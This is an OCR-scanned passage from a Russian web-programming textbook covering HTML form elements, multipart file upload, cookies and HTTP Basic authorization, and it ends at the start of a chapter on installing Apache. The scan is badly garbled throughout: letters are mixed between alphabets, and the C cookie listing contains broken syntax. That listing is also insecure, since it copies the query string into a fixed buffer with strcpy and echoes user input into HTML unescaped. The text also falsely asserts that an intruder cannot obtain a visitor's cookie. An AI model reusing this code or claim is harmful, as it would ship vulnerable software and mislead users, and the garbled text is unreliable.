ли пользователь установит какую-то кнопку , сценарию будет передана стро-
ка имя=значение, причем значение будет тем, которое указано в атрибуте
value выбранной кнопки (а все остальные переключатели проигнорируют-
ся, как будто неустановленные флажки). Если указан параметр checked ,
кнопка будет изначально выбрана, в противном случае — нет.

Примечание

Чувствую, вас уже мучает вопрос: почему эта штука называется радиокнопкой?
При чем тут радио, спрашиваете? Все очень просто. Дело в том, что на старых
радиоприемниках (как и на магнитофонах) была группа клавиш, одна из кото-
рых могла "залипать" , освобождая при этом другую клавишу из группы. Напри-
мер, если радио могло ловить 3 станции, то у него было 3 клавиши, и в кон-
кретный момент времени только одна из них могла быть нажата (попробуйте
слушать сразу несколько станций!). Согласен, что терминология очень спорна),
но история есть история...

Кнопка отправки формы (submit)

<input type=submit
Гпате=имя]

----------------------- Page 76-----------------------
Глава 3. CGI изнутри 61

value=TeKCT кнопки

Создает кнопку подтверждения с именем name (если этот атрибут указан) и
названием (текстом, выводимым поверх кнопки), присвоенным атрибуту
value . Как уже говорилось, если задан параметр name, после нажатия кноп-
ки отправки сценарию вместе с другими парами будет передана и. пара
имя=текст_кнопки (если нажата не эта кнопка, а другая, будет передана
строка другой, нажатой, кнопки). Это особенно удобно, когда в форме
должно быть несколько кнопок submit , определяющих различные действия
(например, кнопки Сохранить и Удалить в сценарии работы с записью ка-
кой-то базы данных) — в таком случае чрезвычайно легко установить, какая
же кнопка была нажата, и предпринять нужные действия.

Кнопка сброса формы (reset)

<input type=reset
value=TeKCTKHOriK M

Пожалуй, это самый простой элемент формы. Тэг создает кнопку, при на-
жатии на которую все элементы формы в браузере будут сброшены (точнее,
установлены в то состояние, которое было задано в их атрибутах по умолча-
нию). Причем отправка формы не производится, т. е. для сценария кнопка
reset незаметна.

Рисунок для отправки формы (image)

<input type=image

[пате=имя]

s r с=изображение

Создает рисунок, при щелчке на котором кнопкой мыши будет происходить
то же, что и при нажатии на кнопку submit , за тем исключением, что сце-
нарию также будут пересланы координаты в пикселах того места, где произ-
веден щелчок (отсчитываемые от левого верхнего угла рисунка). Придут они
в форме: имя.х=х&имя.у=у , где (х, Y) — координаты точки. Если же атрибут
name не задан, то координаты поступят в формате: x=x&y=Y .

Тэг <textarea> — многострочное поле ввода текста

Теперь посмотрим, что же из себя представляет тэг <textarea> . Смысл у
него тот же, что и у <input type=text> , разве что может быть отправлена не
одна строка текста, а сразу несколько. Формат тэга следующий:

<textarea

пате=имя

----------------------- Page 77-----------------------
62 Часть I. Основы Web-программирования

[width=iiiMpiffla] [height=BbicoTa]
[игар=тип]
>Текст, который будет изначально отображен в текстовом пoлe</textarea >

Как легко видеть, этот тэг имеет закрывающий парный . Параметр width за-
дает ширину поля ввода в символах, a height — его высоту. Параметр wrap
определяет, как будет выглядеть текст в поле ввода. Он может иметь одно из
трех значений (по умолчанию подразумевается попе) .

П virtual — наиболее удобный тип вывода. Справа от текстового поля вы-
водится полоса прокрутки , и текст, который набирает пользователь,
внешне выглядит разбитым на строки в соответствии с шириной поля
ввода, причем перенос осуществляется по словам. Однако символ новой
строки вставляется в текст только при нажатии <Enter>.

CD Physical — зависит от реализации браузера, обычно очень похож на попе .

П None — текст отображается в том виде, в котором заносится. Если он не
умещается в текстовое поле, активизируются линейки прокрутки (в том
числе, и горизонтальная).

После отправки формы текст, который ввел пользователь, будет, как обыч-
но, представлен парой имя=текст , аналогично тэгу однострочного поля вво-
да <input type=text> .

Тэг <select> — список

У нас остался последний тэг — <seiect> . Он представляет собой выпадаю-
щий (или раскрытый) список . Одновременно могут быть выбрана одна или
несколько строк. Формат этого тэга следующий:

<select пате=имя [size=pa3Mep] [multiple]>

<option [valuel=3Ha4eHMel][selected]>CTpoKal</option>

<option [уа!ие2=значение2] [selected]>CTpOKa2</option>

<option [valueN=3Ha4eHneN][selected]>CTpOKaN</option>

</select>

Мы видим, что и этот тэг имеет парный закрывающий . Кроме того, его су-
ществование немыслимо без тэгов <option> , которые и определяют содер-
жимое списка .

Параметр size задает, сколько строк будет занимать список. Если size равен 1,
то список будет выпадающим, в противном случае — занимает size строк и
имеет полосы прокрутки. Если указан атрибут multiple , то будет разрешено
выбирать сразу несколько элементов из списка, а иначе — только один. Кро-
ме того, атрибут multiple не имеет смысла для выпадающего списка.

----------------------- Page 78-----------------------
Глава 3. CGI изнутри 63

Каждая строка списка определяется своим тэгом <option> . Если в нем задан
атрибут value , как это часто бывает, то соответствующая строка списка бу-
дет идентифицироваться его значением, а если не задан, то самим текстом
этой строки (считается, что value равно самой строке). Кроме того, если
указан параметр selected , то данная строка будет изначально выбранной .
Кстати, чуть не забыл: закрывающие тэги </option > можно опускать, если
упрощение не создает конфликтов с синтаксисом HTML (в действительно-
сти это можно делать почти всегда).

Давайте теперь посмотрим, в какой форме пересылаются данные списка
сценарию. Ну, со списком одиночного выбора вроде бы ясно — просто пе-
редается пара имя=значение , Где имя — ИМЯ ТЭГЗ <select> , а значение —
идентификатор выбранного элемента (то есть, либо атрибут value , либо са-
ма строка элемента списка).

Списки множественного выбора (multiple)

В какой форме приходят данные сценарию, если был создан multiple-
список? Очень просто: все произойдет так, будто есть не один, а несколько
He-multiple-списков, все с одинаковым именем , и в каждом из которых вы-
брано по одному элементу. Иными словами, строка параметров, порожден-
ная этим тэгом, будет выглядеть примерно так:

имя=значение!&имя=значение2&...&имя=значениеЫ

Кстати говоря, совершенно не уникальный случай — то, что с одним име-
нем связано сразу несколько значений. Действительно, нам никто не меша-
ет создавать и другие тэги с идентичными именами . Это часто делается, на-
пример, для переключателей-флажков:

<input type=checkbox пате=имя value="C№iH">OflMH<br>

<input type=checkbox пате=имя value="flBa">flBa<br>

<input type=checkbox пате=имя value="TpM">TpM<br>

Если теперь пользователь установит сразу все флажки, то сценарию посту-
пит строка (конечно, в URL-кодированном виде):

имя=Один&имя=Два&имя=Три

Из всего сказанного следует не очень утешительный вывод: при разборе
строки параметров в сценарии мы не можем полагаться на то, что каждой
переменной соответствует только одно значение. Нам придется учитывать,
что их может быть не "один", а "много". А это очень неприятно с точки зре-
ния программирования — особенно на Си.
Попутно мы обнаружили , что любой multiple-список может быть представ-
лен набором флажков (независимых переключателей), а любой не-miltiple -
в виде нескольких радиокнопок. Так что, вообще говоря, тэг <seiect> —
некоторое функциональное излишество, и с точки зрения сценария вполне
может заменяться флажками и радиокнопками.

----------------------- Page 79-----------------------
64 Часть I. Основы Web-программирования

Загрузка файлов

( Замечание

Данный раздел главы предназначен скорее для ознакомления, нежели для при-
менения в качестве точной инструкции по загрузке файлов. Он прекрасно демон-
стрирует, почему нам так удобно использовать РНР для программирования в
Web . Организацию загрузки файлов в РНР мы подробно разберем в части V.

Иногда бывает просто необходимо позволить пользователю не только за-
полнить текстовые поля формы и установить соответствующие переключа-
тели, но также и указать несколько файлов, которые будут впоследствии
загружены с компьютера пользователя на сервер. Для этого в языке HTML
предусмотрены специальные средства. Рассмотрим их подробнее.

Формат данных

В свое время я говорил, что все данные из формы при передаче их на сервер
упаковываются в строку при помощи символов ?, & и =. Легко видеть, что
при загрузке файлов такой способ, хотя и приемлем , но будет существенно
увеличивать размер передаваемой информации. Действительно, ведь боль-
шинство файлов — бинарные, а мы знаем, что при URL-кодировании дан-
ные таких файлов сильно "распухают" - - примерно в три раза (например,
простой нулевой байт при URL-кодировании превратится в %оо) . Это силь-
но замедлит передачу и увеличит нагрузку на канал. И вот, отчасти специ-
ально для решения указанной проблемы был изобретен другой формат пе-
редачи данных, отличный от того, который мы до сих пор рассматривали.
В нем уже не используются пресловутые символы ? и & . Кроме того, похо-
же, в случае применения такого формата передачи может быть задействован
только метод POST, но не метод GET . Нас это вполне устроит — ведь файлы
обычно большие, и доставлять их через GET вряд ли разумно...

Если нужно указать браузеру, что в какой-то форме следует применять дру-
гой формат передачи, следует в соответствующем тэге <form> задать атрибут
enctype=muitipart/form-data. (Кстати говоря, если этот атрибут не указан,
то форма считается обычной, что эквивалентно enctype=appiication/x -
www-form-uriencode d — именно так обозначается привычный нам формат
передачи.) После этого данные, поступившие от нашей формы, будут вы-
глядеть как несколько блоков информации (по одному на элемент формы).
Каждый такой блок очень напоминает HTTP-формат "заголовки-данные",
используемый при традиционном формате передачи. Выглядит блок при-
мерно так (\п , как всегда, обозначает символ перевода строки):

Идентификатор_начала\п

Content-Disposition : form-data ; пате="имя"\п

----------------------- Page 80-----------------------
Глава 3. CGI изнутри 65

\n
значение\n

Например, пусть у нас есть форма:

Листинг 3.7. Multipart-форма

<form action=.. . enctype=multipart/form-data method=post>

Name : <input type=text name="Name" value="Moe имя"><Ьг>

Box: <input type=checkbox name="Box" value=l checkedxbr>

Area : <input type=textarea пате="Агеа">Это какой-то TeKCT</textarea><br>

<input type=submit>

</form>

Данные, поступившие по нажатии кнопки submit на сервер, будут иметь
следующий вид:

127462537625367\п

Content-Disposition : form-data ; name="Name"\n

\n

Мое имя\п
127462537625367\n

Content-Disposition: form-data; name="Box"\n

\n

l\n

127462537625367\n

Content-Disposition: form-data; name="Area"\n

\n

Это какой-то текстХп

Заметьте, что несколько дефисов и число (которое мы ранее назвали
Идентификатор_начала) предшествуют каждому блоку. Более того, строка из
дефисов и этого числа служит своеобразным маркером, который разделяет
блоки. Очевидно, эта строка должна быть уникальной во всех данных. Имен-
но так ее и формирует браузер. Правда, сказанное означает, что сегодня иден-
тификатор будет одним, а завтра, возможно, совсем другим. Так что нам при-
дется, прежде чем анализировать данные, считать этот идентификатор в буфер
(им будет последовательность символов до первого символа \п) .

Внимание

Стандарт протокола HTTP говорит нам, что идентификатор начала также дол-
жен быть доступен через одну из переменных окружения. Но я не помню и не

----------------------- Page 81-----------------------
66 Часть I. Основы Web-программирования

хочу знать ее название — сейчас объясню, почему. Некоторые браузеры
(особенно старые) путают этот идентификатор и присылают его неправильно —
с двумя предшествующими минусами (а остальные — без них), так что сцена-
рии, не рассчитывающие на такой подвох, перестанут работать. Никогда не по-
лагайтесь на эту переменную окружения (даже если узнаете, как она называет-
ся)! Вместо этого читайте последовательность символов до первого перевода
строки и воспринимайте именно ее как разделитель.

Далее алгоритм разбора должен быть следующим: в цикле мы пропускаем сим-
волы идентификатора и перевода строки, извлекаем подстроку имя="что-то"
(не обращая внимания на Content-Disposition) , дожидаемся двух символов
перевода строки и затем считаем значением соответствующего поля все те
данные, которые размещены до строки ХпИдентификатор (или же до конца,
если такой строки больше нет). Как видите, все довольно просто.

Внимание

Стандарт HTTP предписывает, чтобы перевод строки содержал два символа —
\г\п , а не один \п. Как вы уже, наверное, чувствуете, существуют браузеры,
которые об этом и не догадываются и посылают только один \п. Так что, будь-
те готовы к тому, чтобы правильно обрабатывать и эту ситуацию.

Тэг загрузки файла (file)

Теперь вернемся к тому, с чего начали — к загрузке файлов. Сначала выяс-
ним, какой тэг надо вставить в форму, чтобы в ней появился соответствую-
щий элемент управления — поле ввода текста с кнопкой Browse справа. Та-
ким тэгом является разновидность <input> :

<input type=file

пате=имя_элемента
[value=MMH файла]
>

Пусть пользователь выбрал какой-то файл (скажем , с именем каталог\
имя^файла) и нажал кнопку отправки . В этом случае для нашего элемента
формы создается один блок примерно такого вида:

—127462537625367\п
Content-Disposition : form-data ; пате="имя_элемента" ;
Ч> f11епате="каталог\имя файла"\п \п

Бинарные данные этого файла любой длины .
Здесь могут быть совершенно любые
байты без всякого ограничения .

\п

----------------------- Page 82-----------------------
Глава 3. CGI изнутри 67

Мы видим, что сценарию вместе с содержимым файла передается и его имя
в системе пользователя (параметр filename) .

На этом, пожалуй, и завершим обозрение возможностей загрузки файлов.

Надеюсь, я посеял в вас неприязненное отношение к подобным методам:
действительно , программировать это — не самое приятное занятие на свете
(укажу только на то, что придется использовать приемы программной буфе-
ризации , чтобы правильно найти разделитель). Вот еще один довод в пользу
РНР, в котором не нужно выполнять в принципе никакой работы, чтобы
создать полноценный сценарий с возможностью загрузки файла.

Что такое Cookies и с чем их едят

Сначала хотелось бы сказать пару слов насчет самого термина Cookies (это
множественное число, произносится как "кукис" или , более "русифи-
цировано", "куки"). В буквальном переводе слово звучит как "печенье", и
почему компания Netscape так назвала свое изобретение, не совсем ясно. А
поскольку писать "печенье" несколько неудобно, чтобы не вызывать несвое-
временных гастрономических ассоциаций, везде, где можно, я буду приме-
нять именно слово Cookies, с большой буквы, во множественном числе и
мужского рода. Кстати, в единственном числе это понятие записывается
Cookie и произносится на русский манер -- "кука".

Начну с примера. Скажем, мы хотим завести гостевую книгу : пользователь
вводит свое имя, E-mail, адрес домашней странички (и другую информацию
о себе), наконец, текст сообщения, и после нажатия на кнопку его мысль
отправляется в путешествие по проводам и серверам, чтобы в конце концов
попасть в некую базу данных на нашем сервере и остаться там на веки веч-
ные. М-да.

Теперь предположим, что эта наша гостевая книга — довольно часто посе-
щаемое место, у нее есть постоянные пользователи, которые несколько раз
на дню оставляют там свои сообщения. Что же — им придется каждый раз
вводить свое имя, адрес электронной почты и другую информацию в пустые
поля? Как бы сделать так, чтобы это все запоминалось где-то, чтобы даже
при следующем запуске браузера нужные поля формы инициализировались
автоматически, разумеется — у каждого пользователя индивидуально, тем,
чем он заполнил их ранее?
Чтобы этого добиться, в принципе существуют два метода. Оба они имеют
как достоинства, так и недостатки, и вскоре мы увидим , в чем же они за-
ключаются.

Первый способ: хранить на сервере отдельную базу данных, в которой для
каждого пользователя по его IP-адресу можно было бы получить последние
им же введенные данные. В принципе, это решение довольно универсально,
однако у него есть два существенных недостатка, которые сводят на нет все

----------------------- Page 83-----------------------
68 Часть I. Основы Web-программирования

преимущества. Главный из них — то, что большинство пользователей не име-
ют фиксированного (как говорят, статического) IP-адреса — каждый раз при
входе в Интернет он назначается им (провайдером) автоматически (сервер
провайдера обычно имеет контроль над несколькими десятками зарезервиро-
ванных IP-адресов, доступных для пользователя, и выбирает для него тот, ко-
торый еше не занят кем-то еще). Таким образом, мы вряд ли сможем опреде-
лить, кто на самом деле зашел в нашу гостевую книгу. Второй недостаток
мало связан с первым — дело в том, что если ваших пользователей очень
много, то довольно проблематично в принципе иметь такую базу данных, ведь
она занимает место на диске, не говоря уж о издержках на поиск в ней.

Второй способ подразумевает использование Cookies. Cookie — это неболь-
шая именованная порция информации, которая хранится в каталоге браузе-
ра пользователя (а не на сервере, заметьте!), но которую сервер (а точнее,
сценарий) волен в любой момент изменить . Кстати, сценарий также получа-
ет все Cookies, которые сохранены на удаленном компьютере, при каждом
своем запуске, так что он может в любой момент времени узнать, что же там
у пользователя установлено. Самым удобным в Cookies является то, что они
могут храниться недели и годы до тех пор, пока их не обновит сервер или
же пока не истечет срок их жизни (который тоже назначается сценарием
при создании Cookie). Таким образом, мы можем иметь Cookies, которые
"живут" всего несколько минут (или до того момента, пока не закроют брау-
зер), а можем -- "долгожителей".

Не правда ли, последний способ представляет собой идеальное решение для
нашей проблемы? Действительно, теперь сцеанарию гостевой книги доста-
точно получить у пользователя его данные, запомнить их в Cookies (как это
сделать — см. ниже), а затем работать, будто ничего и не произошло. Ко-
нечно, перед выводом HTML-документа формы обязательно придется про-
ставить значения value для некоторых элементов (которые, ясно, извлечены
из соответствующих Cookies).

Но не все так гладко. Конечно, и у этой схемы есть недостатки. Первый из
них — не все браузеры поддерживают Cookies, а пользователи тех, которые под-
держивают, иногда имеют обыкновение отключать Cookies — якобы для боль-
шей безопасности (хотя безопасность тут совсем ни при чем, дело в самих этих
пользователях). Второй недостаток заключается в том, что каждый браузер хра-
нит свои Cookies отдельно. То есть Cookies, установленные при пользовании
Internet Explorer, не будут "видны" при работе в Netscape, и наоборот.

Но, согласитесь, все же это почти не умаляет достоинств Cookies — в конце
концов, обычно пользователи работают только в одном из перечисленных
браузеров. Кстати, все чаще в Internet Explorer. На момент написания этих
строк указанный браузер имеет в несколько раз большие возможности, чем
Netscape (работая при этом, правда, несколько медленнее). Что ж... Время
покажет, кто из них выживет.

----------------------- Page 84-----------------------
Глава 3. CGI изнутри 69

Но я несколько отклонился от темы. Как уже упоминалось, каждому Cookie
сопоставлено время его жизни, которое хранится вместе с ним. Кроме это-
го, имеется также информация об имени сервера, установившего этот
Cookie, и URL каталога, в котором находился сценарий-хозяин в момент
инициализации (за некоторыми исключениями).

Зачем нужны имя сервера и каталог? Очень просто: дело в том, что сцена-
рию передаются только те Cookies, у которых параметры с именем сервера и
каталога совпадают соответственно с хостом и каталогом сценария (ну, на
самом деле каталог не должен совпадать полностью, он может являться под-
каталогом того, который создан для хранения Cookies). Так что совершенно
невозможно получить доступ к "чужим" Cookies — браузер просто не будет
посылать их серверу. Это и понятно: представьте себе, сколько ненужной
информации передавалось бы сценарию, если бы все было не так (особенно
если пользователь довольно активно посещает различные серверы, которые
не прочь поставить ему свой набор Cookies). Кроме того, "чужие" Cookies не
предоставляются в целях защиты информации от несанкционированного
доступа — ведь в каком-то Cookie может храниться, скажем, важный пароль
(как часто делается при авторизации), а он должен быть доступен только
одному определенному хосту.

Установка Cookie

Мы подошли к вопросу: как же сценарий может установить Cookie в брау-
зере пользователя? Ведь он работает "на одном конце провода", а пользова-
тель — на другом. Решение довольно логично: команда установки Cookie —
это просто один из заголовков ответа, передаваемых сервером браузеру. То
есть, перед тем как выводить Content-type , мы можем указать некоторые
команды для установки Cookie. Выглядит такая команда следующим обра-
зом (разумеется, как и всякий заголовок, записывается она в одну строку):

Set-Cookie: name=value ; ехр!гез=дата; с1ота!п=имя_хоста; path=nyTb ; secure

Существует и другой подход активизировать Cookie — при помощи HTML-
тэга <meta>. Соответственно, как только браузер увидит такой тэг, он зай-
мется обработкой Cookie. Формат тэга такой:

<meta http-equiv="Set-Cookie "

content="name=value; ехр!гез=дата; с1ота!п=имя_хоста; path=nyTb ; secure "

>

Мы можем видеть, что даже названия параметров в этих двух способах оди-
наковы. Какой из них выбрать — решать вам: если все заголовки уже выве-
дены к тому моменту, когда вам потребовалось установить Cookie, исполь-
зуйте тэг <meta>. В противном случае лучше взять на вооружение заголовки,
т. к. они не видны пользователю, а чем пользователь меньше видит при

----------------------- Page 85-----------------------
70 Часть I. Основы Web-программирования

просмотре исходного текста страницы в браузере — тем лучше нам, про-
граммистам.

^ Примечание

Возможно, вы спросите, нахмурив брови: "Что же, с точки зрения программиста
хороший пользователь — слепой пользователь?" Тогда я отвечу: "Что вы, нет и
еще раз нет! Такой пользователь хорош лишь для дизайнера, для программи-
ста же желателен пользователь безрукий (или, по крайней мере, лишенный
клавиатуры и мыши)".

Вот что означают параметры Cookie:

name

Вместо этой строки нужно задать имя , закрепленное за Cookie. Имя должно
быть URL-кодированным текстом, т. е. состоять только из алфавитно-циф-
ровых символов . Впрочем , обычно имена для Cookies выбираются именно
так, чтобы их URL-кодированная форма совпадала с оригиналом .

value

Текст, который будет рассматриваться как значение Cookie. Важно отме-
тить, что этот текст (ровно как и строка названия Cookie) должен быть
URL-кодирован. Таким образом, я должен отметить неприятный факт, что
придется писать еще и функцию URL-кодирования (которая, кстати, раза в
2 сложнее, чем функция для декодирования, т. к. требует дополнительного
выделения памяти).

expires

Необязательная пара ехр!гез=дата задает время жизни нашего Cookie. Точ-
нее, Cookie самоуничтожится, как только наступит указанная дата. Например,
если задать expires=Friday,3i-Dec-9 9 2 3 : 5 9 : 5 9 GMT, то "печенье" будет
"жить" только до 31 декабря 1999 года. Кстати, вот вам и вторая неприятность:
хорошо, если мы знаем наверняка время "смерти" Cookie. А если нам нужно
его вычислять на основе текущего времени (например, если мы хотим, чтобы
Cookie существовал 10 дней после его установки, как в подавляющем боль-
шинстве случаев и происходит)? Придется использовать функцию , которая
формировала бы календарную дату в указанном выше формате. Кстати, если
этот параметр не указан, то временем жизни будет считаться вся текущая сес-
сия работы браузера, до того момента, как пользователь его закроет.

domain

Параметр с!ота1п=имя_хоста задает имя хоста, с которого установили Cookie.
Ранее я уже говорил про этот параметр. Так вот, оказывается, его можно

----------------------- Page 86-----------------------
Глава 3. CGI изнутри 7 1

менять вручную, прописав здесь нужный адрес, и таким образом "подарить"
Cookie другому хосту. Только в том случае, если параметр не задан, имя хос-
та определяется браузером автоматически.

path

Параметр path=nyrb обычно описывает каталог (точнее, URI) , в котором
расположен сценарий, установивший Cookie. Как мы видим , этот параметр
также можно установить вручную , записав в него не только каталог, а вооб-
ще все, что угодно. Однако при этом следует помнить : указав хост, отлич-
ный от хоста сценария, или путь, отличный от URI каталога (или родитель-
ского каталога) сценария, мы тем самым никогда больше не увидим наш
Cookie в этом сценарии.

secure

Этот параметр связан с защищенным протоколом передачи HTTPS, кото-
рый в книге не рассматривается. Если вы не собираетесь писать сценарии
для проведения банковских операций с кредитными карточками (или иные ,
требующие повышенной безопасности) , вряд ли стоит обращать на него
внимание.

После запуска сценария , выводящего соответствующий заголовок (или тэг
<meta>), у пользователя появится Cookie с именем name и значением value .
Еще раз напоминаю : значения всех параметров Cookie должны быть URL -
кодированы, в противном случае возможны неожиданности .

Получение Cookies из браузера

Получить Cookies для сценария несколько проще: все они хранятся в пере-
менной окружения HTTP_COOKIE в таком же формате, как и QUERY_STRING ,
только вместо & используется ;. Например, если мы установили два Cookies:
cookiel=valuel И cookie2=value2 , TO В переменной окружения НТТР_СООК1Е
будет следующее:

cookiel=valuel;cookie2=value2 .

Сценарий должен разобрать эту строку, распаковать ее и затем работать по
своему усмотрению.

Пример программы
для работы с Cookies

В заключение приведу простой сценарий, который использует Cookies. Для
упрощения в нем не производится URL-кодирование и декодирование -
будем считать, что пользователь может печатать только на латинице .

----------------------- Page 87-----------------------
72 Часть I. Основы Web-программирования

\ Листинг 3.8. Простой сценарий, использующий Cookies

#include <stdio.h>

#include <stdlib.h>

// начало программы

void main( ) {

// Временный буфер

char Buf[1000] ;

// получаем в переменную Cook значение Cookies

char *Cook = getenv("HTTP_COOKIE" ) ;

// пропускаем в ней 5 первых символов ("cook="), если она не пустая

// получим как раз значение Cookie , которое мы установили ранее

// (см. ниже) .

Cook += 5 ; // сдвинули указатель на 5 символов вперед по строке

// получаем переменную QUERY_STRING

char *Query = getenv("QUERY_STRING") ;

// проверяем , заданы ли параметры у сценария — если да , то

// пользователь , очевидно , ввел свое имя или нажал кнопку ,

// в противном случае он просто запустил сценарий без параметров

if(strcmp(Query, "")) { // строка не пустая ?

// копируем в буфер значение QUERY_STRING ,

// пропуская первые 5 символов (часть "name=") -

// получим как раз текст пользователя

strcpy(Buf, Query + 5);

// Пользователь ввел имя — значит , нужно установить Cookie

printf("Set-cookie : cook=%s ; "

"expires=Friday,31-Dec-Ol 23:59:59 GMT" , Buf) ;

// Теперь это — новое значение Cookie

Cook=Buf;

}

// выводим страницу с формой

printf("Content-type : text/html\n\n" ) ;

printf ("<htmlxbody>\n") ;

// если имя задано (не пустая строка) , приветствие

if(strcmp (Cook , "")}

printf("<Ь1>Привет , %s!</hl>\n",Cook) ;

----------------------- Page 88-----------------------
Глава 3. CGI изнутри _ 73

// продолжаем

printf ("<form action=/cgi-bin/script . cgi method=get>\n" ) ;

printf("Baine имя: " ) ;

printf ("<input type=text name=name value= ' %s ' >\n" , Cook ) ;

printf ( "<input type=submit value= ' Отправить ' >\n " ) ;

printf ( "</f orm>\n " ) ;

printf ("</body></html>") ;

Теперь при первом заходе на этот URL пользователь получит форму с пус-
тым полем для ввода имени. Если он что-то туда напечатает и нажмет кноп-
ку отправки, его информация запомнится браузером. Итак, посетив в любое
время до 3 1 декабря 2001 года этот же URL, он увидит то, что напечатал
давным-давно в текстовом поле. И, что самое важное, — его информацию
"увидит" также и сценарий. Кстати, у злоумышленника нет никаких шансов
получить значение Cookie посетителя, потому что оно хранится у него на
компьютере, а не на сервере.

И опять я намекаю на то, что использование Си и на этот раз довольно за-
труднительно. Неудобно URL-декодировать и кодировать при установке
Cookies, накладно разбирать их на части, да и вообще наша простая про-
грамма получилась слишком длинной . Не правда ли, приятно будет обнару-
жить , что в РНР все это реализовано автоматически: для работы с Cookies
существует всего одна универсальная функция setcookie ( ) , а получение
Cookies от браузера вообще не вызовет никаких проблем, потому что оно
ничем не отличается от получения данных формы. Это логично. В самом
деле, какая нам разница, какие данные пришли из формы, а какие — из
Cookies? С точки зрения сценария — все равно...

Но не буду забегать вперед. Займемся пока теорией авторизации.

Авторизация

Часто бывает нужно, чтобы на какой-то URL могли попасть только опреде-
ленные пользователи. А именно, только те, у которых есть зарегистрирован-
ное имя (login) и пароль (password). Механизм авторизации как раз и призван
упростить проверку данных таких пользователей.

Я не буду здесь рассматривать все возможности этого механизма по трем
причинам. Во-первых, существует довольно много типов авторизации, раз-
личающихся степенью защищенности передаваемых данных . Во-вторых,
при написании обычных CGI-сценариев для того, чтобы включить меха-

----------------------- Page 89-----------------------
74 Часть I. Основы Web-программирования

низм авторизации, необходимо провести некоторые манипуляции с на-
стройками (файлами конфигурации) сервера, что, скорее всего, будет за-
труднительно (ведь обычно компания, которая предоставляет услуги по об-
служиванию виртуального хоста, не позволяет вмешиваться в настройки
сервера). И наконец, в-третьих, весь механизм авторизации значительно уп-
рощается и унифицируется при использовании РНР, и вам не придется ни-
чего исправлять в этих злополучных настройках сервера. Так что давайте
отложим практическое знакомство с авторизацией и займемся ее теорией.

Расскажу вкратце о том, как все происходит на нижнем уровне при одном
из самых простых типов авторизации — basic-автпоризации. Итак, предполо-
жим , что сценарий посылает браузеру пользователя следующий заголовок:

WWW-Authenticate : Basic геа1п\="имя_зоны"

НТТР/1.0 401 Unauthorized "

Обратите внимание на то, что последний заголовок несколько отличается по
форме от обычных заголовков. Так и должно быть. Строка имя_зоны в пер-
вом из них задает некоторый идентификатор, который будет определять, к
каким ресурсам будет разрешен доступ зарегистрированным пользователям.
При программировании CGI-сценариев этот параметр используется в ос-
новном исключительно для формирования приветствия (подсказки) в диа-
логовом окне, появляющемся в браузере пользователя (там отображается
имя зоны), так что мы не будем вдаваться в детали относительно него.

Затем, как обычно, посылается тело документа (сразу отмечу, что именно
это тело ответа будет выдано пользователю, если он нажмет в диалоговом
окне (см. ниже) кнопку Cancel, т. е. отменит вход). В этом случае происхо-
дит нечто удивительное: в браузере пользователя появляется небольшое диа-
логовое окно, в котором предлагается вести login и password. После того как
пользователь это сделает, управление передается обратно серверу, который
среди обычных заголовков запроса (которые посылает браузер) получает
примерно такой:

Authorization : Basic TG9naW46UGFzcw==

Это — ни что иное, как закодированные данные, введенные пользователем.
Теоретически, далее этот заголовок должен каким-то образом передаться
сценарию (для этого как раз и необходимо добавление команд в файлы
конфигурации сервера). Сценарий, декодировав его, может решить : то ли
повторить всю процедуру сначала (если имя или пароль неправильные) , или
же начать работать с сообщением "ОК., все в порядке, вы — зарегистриро-
ванный пользователь".

Предположим, что сценарий подтвердил верность данных и "пропустил"
пользователя. В этом случае происходит еще одна вещь: login и password

----------------------- Page 90-----------------------
Глава 3. CGI изнутри 75

пользователя запоминаются в скрытом Cookie, "живущем" в течение одной
сессии работы с браузером. Затем, что бы мы ни делали, заголовок

Authorization : Basic значение_Соо]<;1е

будет присылаться для любого сценария (и даже для любого документа) на
нашем сервере. Таким образом, посетителю , зарегистрировавшемуся однаж-
ды , нет необходимости каждый раз заново набирать свое имя и пароль в
течение текущего сеанса работы с браузером, т. е., пока пользователь его не
закроет.

И еще: после верной авторизации при вызове любого сценария будет уста-
новлена переменная окружения REMOTE_USER , содержащая имя пользователя.
Так что в дальнейшем можно ее задействовать для определения того, какой
же посетитель зарегистрировался.

----------------------- Page 91-----------------------

----------------------- Page 92-----------------------
ЧАСТЬ II.

ВЫБОР И НАСТРОЙКА
ИНСТРУМЕНТАРИЯ.
WEB-СЕРВЕР APACHE

----------------------- Page 93-----------------------

----------------------- Page 94-----------------------
Глава 4

Установка Apache

Введение: зачем нужен
домашний сервер?

Эта часть книги поможет вам "скачать" и установить один из лучших серве-
ров — Apache, а также те приложения , из-за которых большинство про-
граммистов и любят Apache для Windows 95/98. Имеются в виду, конечно ,
интерпретатор РНР и популярная СУБД MySQL, также работающие под
Windows . Прочитав эту часть книги и скачав дистрибутивы (заметьте, со-
вершенно бесплатно!), вы будете вооружены всеми инструментами , которые
так необходимы для профессиональной работы в Web!

Примечание

Бытует мнение, что MySQL (а тем более для Windows 95/98) нельзя получить
бесплатно, а можно только купить. Так вот, можете вздохнуть с облегчением:
недавно разработчики MySQL выпустили бесплатную версию сервера для
Windows 95/98 , вы можете загрузить самую последнюю ее версию на офици-
альном сайте MySQL: http://www.mysql.com .

Даже если вы и не планируете в будущем использовать РНР, а предпочитаете
другой язык (например, Perl), то после внимательного ознакомления с этой
частью книги вы сможете на порядок упростить себе жизнь — точнее, ее
часть, касающуюся написания и отладки сценариев. И это благодаря тому, что
все описанное здесь почти на 100% совместимо с тем программным обеспече-
нием, которое скорее всего установлено у вашего хостинг-провайдера
(а больше половины современных хостинг-провайдеров работают с Unix, но
не с Windows). Однако, если вы собираетесь всерьез заняться хостингом На
платформе Win32, то лучше, наверное, будет использовать не Apache и РНР, а
MIIS (Microsoft Internet Information Server — Информационный сервер Ин-
тернета Microsoft) и ASP (Active Server Pages - Активные серверные
страницы), про которые, я уверен, написано множество других книг.

Эта часть книги , как уже говорилось, будет полезна не только программи-
стам на РНР. Ведь часто возникает ситуация, когда необходимо проверить
полный вид HTML-страницы. Однако чаше всего это невозможно при работе
дома — технологии SSI (Server-Side Includes — Включения на стороне серве-
ра), CGI (Common Gateway Interface — Общий шлюзовой интерфейс) и, ко-

----------------------- Page 95-----------------------
80 Часть II. Выбор и настройка инструментария. Web-сервер Apache

нечно, РНР требуют использования сервера. Как же быть? Не стоит впадать
в апатию — нужно просто установить на ваш домашний компьютер (пусть
даже и не подключенный к Интернету) специальную программу -- Web-
сервер. Вообще-то серверов существует множество — плохие и хорошие,
медленные и быстрые... Я предлагаю вам установить сервер, подпадающий
под категории, следующие за "и". А именно — Apache. Самое главное то,
что это чуть ли не единственный сервер, который позволяет работать в
